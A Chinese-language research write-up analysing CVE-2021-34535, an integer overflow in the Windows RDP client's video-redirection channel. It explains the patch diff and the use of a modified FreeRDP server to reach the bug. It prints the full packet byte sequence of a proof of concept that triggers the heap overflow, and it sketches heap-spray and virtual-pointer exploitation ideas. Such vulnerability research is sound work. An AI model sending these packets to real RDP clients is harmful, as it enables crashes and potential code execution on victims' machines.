CVE-2021-34535 RDP客户端漏洞分析

背景:

2021年的八月份微软补丁日,微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中,另一个是cve-2021-34535 RDP客户端的代码执行漏洞。在现代windows系统中,RDP客户端不仅仅被使用在RDP协议中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,该漏洞如果可以在实际环境中构造exp,其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且,因为我们更感兴趣该漏洞在RDP协议下的影响,所以本次分析是基于RDP协议的背景环境。

补丁分析:

通过官方的说明,这是一个存在于mstscax.dll中的漏洞,对比补丁前后代码差异,我们可以比较容易的确认漏洞的基本原理:如下:

这是一个典型的整形溢出漏洞,

另外这里我们还可以注意到,RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断,还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值,在后续的复制sample数据时,也可能因为读取超出实际数据长度的地址数据而导致崩溃。

构造POC:

根据官方文档的描述,这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景,然后对CRDPstream::DeliverSample目标函数进行标记,一旦真实的RDP客户端代码能够执行存在漏洞的函数,则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处,是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。

但实际中,我们并不能直接得到这样的结果,经过测试我们仅仅在sever2008中,通过手动启用RDPapp,启用了这种视频重定向功能,但是我们并不能直接定位到漏洞存在的函数。所以,为了更方便的实现这种视频重定向协议的各个功能,最好的办法是需要重建一个RDP服务端,自己根据官方的协议说明文档修改数据。

我们使用了freeRDP中的server代码来实现这一点(在windows下,重构的freeRDP中的server代码可能会有一些兼容性问题,需要修改下个别加载镜像显示驱动的一些处理代码)。

然后回到漏洞触发函数CRDPstream::DeliverSample,我们在文档中找到与其最相关的功能是On Sample消息。通过在freeRDP中的server  drdynvc_server_thread1()动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包,并构造这一On Sample数据类型:

我们最终得到了触发漏洞路径的流程(在这个过程中,包含较多繁琐的的猜测尝试过程,这里不赘述)。

但这里有两个地方需要说明一下。

一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细,但有时候,也并不是每一个细节和特例都会会详细举例说明。

为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData<IMMServerData>::Dispatch_Invoke()入口下断点,关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建,关闭,以及其他工作流程。

二是,关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程,但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。

这时候,我们可以先关注更上层的CRDPSource这个类的其他函数,如相近功能其他类的DeliverSample功能,或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能,再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。

我们的测试poc中,其包括的视频重定向动态虚拟通道的功能数据包主要如下:

char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str2_1[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str2_2[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str2_3[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

///

char str3[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"

"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"

"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"

"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"

"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"

"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";

char str5[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";

char str6[] = "\x40\x07"; //关闭通道

char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str9[] = "\x34\x08" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str10[] = "\x34\x08" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";

char str11[] = "\x34\x08" //发送新的呈现对象

"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道

char str13[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";

char str14[] = "\x34\x07" //发送通道参数

"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";

char str15[] = "\x34\x07" //发送通道参数

"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

///

char str16[] = //发送交换信息

"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"

"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"

"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

char str17_0[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str17[] = "\x34\x07"//add steam

"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"

"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"

"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"

"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"

"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\xe0\x00\x00\x00";

char str17_2[] = "\x34\x07"

"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";

char str18[] = "\x34\x07" //发送示例

"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"

"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"

"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"

"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"

"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"

"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"                "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";

Exp的尝试:

目前,我们可以获取的是一个对堆地址的溢出,并且可溢出数据的长度非常长达到0xFFFF FFFF级别,通常来说,这容易这种溢出很容易造成崩溃,不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中,我们可以注意到RDP协议中包含大量的重载虚函数,我们只需要提前布局一些可控的这种大内存堆,获取一个虚函数指针的跳转引用是可能的。

然而常规思路来说,最大的问题是缺少一个应用层可靠的跳转地址,来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以,我们需要尝试分析这样的可能:是否可以找到协议RDP客户端另外的功能,能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。

但是通过后续分析现有的RDP通讯流程,发现绝大部分的数据都是从服务端发往客户端,客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。

总结:

通过整体的分析,可以看出相对于需要验证登录的服务端,一旦轻易相信服务端可靠性,并且由于RDP本身协议的复杂性,RDP客户端可能存在更广的被攻击面。

后续可能会有其他更多的的客户端漏洞被发现,但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞,似乎更迫切需要一个较稳定的信息泄露漏洞。

另外,对于该漏洞,我们并没有在hyper-V的具体环境中测试,在这里并不确定除了RDP协议本身之外的交互数据之外,hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b